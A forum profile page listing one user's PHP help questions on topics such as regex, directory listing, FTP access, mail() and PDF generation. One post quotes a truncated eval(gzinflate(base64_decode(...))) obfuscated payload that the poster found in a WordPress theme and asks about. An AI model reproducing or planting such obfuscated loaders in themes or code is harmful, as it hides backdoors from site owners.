Jump to content

OM2

Members
  • Posts

    255
  • Joined

  • Last visited

Everything posted by OM2

  1. OM2

    Dodgy PHP code

    hmmm ok - i can do so u think it might not be malicious code in that case? would such code actually execute and do 'something'? the actual file was about 130kb - which is huge for a php file - i would assume that would be 10000 lines of code or something? let me know what u think thanks
  2. I have some PHP code that looks really dodgy I was given a Wordpress theme to install for someone Don't know why, I just thought I would check a few of the files before I installed on my server I've always thought it would be easy to hijack a server by using malicious code Don't know if the code would make sense, but I thought I'd give a snippet: <? eval(gzinflate(base64_decode('HJzHrutIlkV/pWaVAAf0Dmh0gd57z0mD3ouiN1/fujXNvBCpiDh7ryXq6T//+z//+Vd1ZuM/zdt96jHbq3/ybKsI7P/KqpjL6p9/iyoq98ubjUMIfuMvrLpfTH0RWnsvwTx5R6skWkXZOkZ8VFMt4SyrqsBepeNfEDwLEARxu/B82qZjv5eimjQCMMuVkLVTsEpFs6plG6TmOpRw8N5dtHAneSuOS/LdMG4U15e7wS2WQ+O/iGg228H36YdsX/dcLu/Uv3dEvU3Hak3Dz82hOsfCnEFAgcpaKFC7MfoUVSsYv5BtRtXdXAzt7WrrNvjBsNlBx1fgAohc+C2jj4DdXxoEIBwRTjNBv3ME9iM7fnV1qsv5YjX+UIn725T6GpuXmX4/yjw8mKuQxWZtmj75/ndDVKJuklU3RHIsIKWJRHKgaVdSgGByGEol6x4HB9qGNCD3YSP13MPg0FWutzew6NgFSOCs1brvSLpEyCq9iYa/Vj33vgsO0C/bHQLAHbHFqToufGTWNsUkxTu/NKbG4djdTrfd+ARSGV4uar7gm/MRaRB11/F3fa4jfhkXpw9U41ZwUwsw39zDFANHN0Kx9aVC0Jk590jUSd51KFWkWPEZ+OHEuWmNBTTeA+4jy4HcclTf24n5njFhOabzHp4m2MM+rqGSsTrxD/DmJvxF9wtAye4JSlciWwpOvhrk0gjhGy2dRCQP8TO0e0LqKqgOhZBdXm/5+ ... ... ... WRAT37W3+ldgc82VddtuetUZ7xH2clfi+VxOKhhCKsTwKyZgZP5kV13qHwxIR1aJMfgax3Ipx6qKSdsmmaQ5oL3PROPx72pA+TK81pxRxJMb4jBDYl4By4QSTHJeEuoHUiRMUnw3FuuhYUD6BTnCQWFx533VWUDCR7xqMuAL8wMMN9M6EBTiILwyZTEwk589Z5tJxEy6nM4auIJwL7TCSOIicpIz61jrcXG3imuJx3zHq/HTLpHoFbO2lu3klsZySnQ7fAhztFEFVUwxhYVgVxQ62GOkVcbxydLJgWcbJZksvjvapHb1LLcXRCnXJfbb1VTYTKxZbBvvDtLNbqlaC/ortDoOKhGkSfd5NpltjIp9f5gq/4SOT9bNXqsk118wmR/M5xO+NsIAG+Vd+WXADiysXDczyPAnG3o870gkaC3rERGuxzhWTqYfpcGuWC4Xd1qOtNnMqInNpNo1SJsf1Zk+wjBkciD/mFBiXEbac7Qx9pgFq5X09LEHyeUvsbylh8O3b8v3y/sXA//3nn3/+8z///t9///1/'))); ?> The above is just a snippet of the begining and end I won't be installing the theme on my server! What is the code though?? What can it do? Is it likely to be malicious?? Thanks OM
  3. awesome! i did come across this googling but didn't look into it at first thanks
  4. I want to create PDF documents by populating ready made PDF templates Amongst other things, this will mean joining several pages to make one PDF How hard is this to do? I googled 'PHP creating PDF's from templates' and the answer doesn't seem to be all too good I read elsewhere that PDF's and PHP don't go well! And that it's hard to manipulate and position exactly where you want Any replies would be great Thanks OM
  5. salathe: that's great advice i'll definitely put my head down and master at least one or 2 technologies + stay abreast of most other things
  6. Nightslyr: thanks, that's great advice the thing is:i *really* want to focus on ONE or TWO things ONLY and really master those at hte moment, i'm a complate overall genius - i know bits of everything but when it comes to getting a job, i mostly find that employers want *specific* skillsets i am not a master in any of the technologies so... given the popularity of .net, i am thinking i might as well switch tot his - even though i have no experience at this momnet in time i'm an exprienced programmer (in many languages!), so it should take too long to pick up?
  7. I'm looking to skill myself up and looking to polish up my PHP skills, which are basic at the moment But, someone told me that PHP is a shrinking market - jobs are out there, but less of them And that .net was the way to go I have a friend who runs a recruitment company - all he has is .net jobs - apparently the world is crying out for .net developers! .net: I know nothing about PHP: I know a lot about - I've been doing bits of coding here and there - only very small things Which should I concentrate on? Maybe asking on a PHP forum I will get a biased answer I thought I'd try asking anyway Just wanted to know what others here thought? Thanks OM
  8. I'd like a ready made PHP newsletter generation program I'd appreciate any recommendations The program needs to: - allow the creation of single web pages for the newsletters - store past pages/newsletters - send out newsletters incrementally over a period - deal with bounce backs - have statistical information - *importantly* be able to plugin to any database - i plan to use on a wordpress database ideally, i'd like a really good open source solution but, failing that, i'm happy to pay for a good ready made solution a few years ago, i searched and searched and there seemed to be NOTHING out there!! i did stumble upon phpletter.com though this seemed promising - but was lousy when i tried (we're talking 2.5 years ago) is the latest version any good? i did a search on google and there now seem to be loooads of programs out there! are there any market leaders used by many people? thanks OM
  9. guys, thanks for the replies that really helps a lot will be following the advice u guys gave the link doesn't seem to be working - is the website down or something?
  10. I need some advice to learn coding in PHP I'm no stranger to coding + I've done lots of PHP coding The PHP coding I've done are very very simple things or just tweaking existing code I've always got freelancers to code for me I've decided to upskill and learn What would be a good place to start? I haven't really got into OO coding, so would like to get into this as well How do the frameworks fit into things? Should I start reading up on these at the same time as well? Books? Any recommendations? Should I just head for O'Reilly? I don't need a guide to tell me about variables and loops - but I do need something to give me an overview of other things How about Lynda.com? Any good? Thanks OM
  11. yes, i think i'll start using subdomains from now on developers, trust hasn't really been a problem it's findind good and reliable ones that's my problem i've almost given up - and am considering skilling myself up on php i don't really want to do this - i'd rather concentrate on marketing and selling
  12. thank u for the reply - much appreciated hmmm... from now on, i'm never going to give sub directory logins! i never thought about it before what i normally do (on other occassions) is register a .info website and get them to develop on that my OS is linux + cpanel let me know if u can suggest anything with regards to this thanks
  13. I want to give a develop access to a specific directory and nothing else I can give them an FTP account with access to a sub directory, but this doesn't exactly solve the problem! 1. They can write PHP code to access other directories below and have FULL access to *everything*! 2. What if I could solve problem 1 somehow (I have no idea how!), but then I wanted them to have *only* access to a directory but NOT to sub directories contained under that directory? I'd always given developers a sub directory in which to put their code - I'd never actually ever thought that they could access the whole domain! So: how can I make sure they only have access to what I want? Thanks OM
  14. thank u - that helps a lot it's probably just space character that i want to catch - but i think i'd go for whitespace - just incase what i've got is a system where users can duplicate directories i want the user to be only allowed to enter characters and numbers when choosing a new name for the duplicated directory ALL other characters should be left out AND white space characters need to be replaced with a single '-' (no matter how many of them) hmmm... the more i think of it... i think what i want could be done in a regular expression? not sure + i'm a little confused when it comes to reading or writing them
  15. aaah... thats more like it the problem is that i'm unsure about the weird regular expressions! i read the function up and i think there's something that does what i need: <?php $str = 'foo o'; $str = preg_replace('/\s\s+/', ' ', $str); // This will be 'foo o' now echo $str; ?> now... i'm not sure how the regular expression works! how do u make sure that u r just left with one single space? how does it only search for 2 or more spaces - but ignores single spaces? what i actually want to do is replace all space characters with a '-' character if there is a single space, then this gets replaced with a single '-' if there is 2 or more spaces, then these also get replaced by a single '-' character not sure where to start!
  16. oh i thought there would be a more elegant regular expression solution i can easily write a function that does unlimited number of loops where one character at a time is removed until we get left with a single character but it would have thought this would be highly inefficient way and was (blindly) sure that there would be a better way! hmmm
  17. How do I replace any number of character occurences with one occurrence? Let's say I have: aaa aaaaaa aaaaa aaaaaaaa All of the above should be replaces with a single 'z' character say for example I can do exact matches, say for 'aaaaaa' - but am unsure how I can do for any number I'm sure it should be possible to do using one line of code - but I'm just not sure where to start! Thanks OM
  18. i read up and that shows everything in a directory! i think this is the right answer: Options -Indexes BUT: how do i make it so that the same rule applies to all sub directories? (without necessarily making a global setting for the whole server) thanks
  19. Can someone tell me how I can stop someone from seeing the contents of a directory if it doesn't have an index file? I've got Linux hosting and currently, if the directory doesn't have index.html or similar, then you can see all the files names What methods are there to stop all such viewing? (I wasn't sure if this was a PHP question or not, but I thought I'd try asking anyway) Thanks OM
  20. Is there an alternative to mail()? My client has Windows hosting and mail() does not work Is there an alternative? I tried googling and the only thing I found relevant is: socket_mail() URL: http://www.justin-cook.com/wp/2006/03/14/php-socket_mail-an-alternative-to-mail/ Is this something that will work OK on Windows hosting? Thanks OM
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.